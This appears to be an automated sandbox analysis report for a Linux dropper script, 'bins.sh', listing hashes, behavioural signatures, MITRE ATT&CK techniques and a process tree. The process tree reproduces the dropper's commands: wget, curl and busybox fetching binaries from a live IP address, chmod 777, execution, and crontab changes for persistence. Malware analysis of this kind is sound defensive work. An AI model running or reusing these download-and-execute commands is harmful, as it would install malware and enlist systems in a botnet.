Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
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submitted
25-11-2024 23:56
General
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Target
bins.sh
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Size
10KB
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MD5
81a496ac5416f01f492d7eb50039a21c
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SHA1
ecfdd7164357b662411ff449bec53c5a7aebc3cf
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SHA256
ebecfae9d26f90c6a359f204c8aafff6948e28df6e9fc31707db37589222e423
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SHA512
45b404d7ae5e72ba3958dd00940279dfbf8241c3cf0b9f85a3c8735ebec4fb038a3159df3a80636388025d7149d216ca1a9587dd99c5ecde8754380b8a3ee4be
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SSDEEP
96:UmC6SBd7G2JT0a6MHjOszPlaqL7Z7p7Fa2F8mEwFC6SBd7wJfbozzPlaqLWy7Z7Z:Un02VUmF1Fa2ypF1Fa2l
Malware Config
Signatures
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Contacts a large (2130) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez22⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez22⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez22⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez22⤵
- File and Directory Permissions Modification
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/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2./LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez22⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez22⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq2⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD5eee892c426b7eaf6f3952a0057906804
SHA16c0e7f164a9e5d70eab512a1b3be123a54097012
SHA2561633a8be7b2f7e8f58ab0e00341fca664af9ab755fcba64ddb9d37d445e45b63
SHA51249f45715882bd81196384564705cfa78c84970b3b9b0a27030c89d3c2f037df2021a317ffdf29385669216ce50edd414a9a6fef09e72011dc583717bc8d6f020